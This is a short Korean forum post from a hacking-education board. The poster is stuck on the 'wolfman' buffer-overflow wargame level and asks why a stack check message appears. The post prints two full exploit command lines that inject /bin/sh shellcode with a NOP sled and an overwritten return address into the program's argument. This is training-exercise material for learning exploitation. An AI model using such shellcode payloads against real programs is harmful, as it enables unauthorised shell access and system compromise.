|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1782 [복사]
/wolfman `python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*9+"\x9a\xfc\xff\xbf"'` 와 같이 넣으면
stack is still your friend 라고 나오면서 \xbf가 argv[1][47]부분에 안들어갔다고 나오구요
./wolfman `python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*9+"\x9a\xfc\xaa\xbf"'` 와 같이 넣으면
stack is still your friend 라는 멘트 안뜨고 정상적으로 오류가 떨어지네요
혹시 왜이러는지 아시는분 계신가요.... 이것때문에 안풀리는것같은데.. 훔 .. 아시는분 답변좀 부탁드립니다 ㅠ.ㅠ |
Hit : 3948 Date : 2015/03/03 09:44
|